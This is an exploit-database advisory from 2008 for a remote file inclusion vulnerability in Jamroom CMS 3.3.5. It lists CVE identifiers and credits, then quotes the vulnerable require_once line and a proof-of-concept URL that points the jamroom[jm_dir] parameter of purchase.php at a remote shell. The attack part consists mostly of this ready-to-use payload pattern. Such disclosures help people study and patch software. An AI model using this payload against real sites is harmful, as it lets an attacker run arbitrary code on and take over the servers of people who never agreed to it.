Jamroom 3.3.5 - Remote File Inclusion

Author: cyberlog
type: webapps
platform: php
port: 
date_added: 2008-06-19 
date_updated:  
verified: 1 
codes: OSVDB-46478;CVE-2008-2886;OSVDB-46477;CVE-2008-2883 
tags: 
aliases:  
screenshot_url:  
application_url: 

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Scripts         : CMS Jamroom Version: 3.3.5
Discovered By   : Cyberlog
Scripts site    : http://www.jamroom.net/
Download Script : http://www.jamroom.net/index.php?m=td_download&o=download&file_id=43
Thanks To       : #sekuritionline, #semprol, #bajingan, #mimid, #yogyafree
Special To      : k1n9k0ng, adhietslank, sukam, cah_gemblunkz, the_sims, aRiee
                  letjen, k1tk4t, inouf and jayoes
Site            : www.sekuritionline.net
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

bug Script:
require_once("{$jamroom['jm_dir']}/include/jamroom-payment.inc.php");

Bug Found:
http://www.site.com/include/plugins/jrBrowser/purchase.php?jamroom[jm_dir]=[shell]

# milw0rm.com [2008-06-20]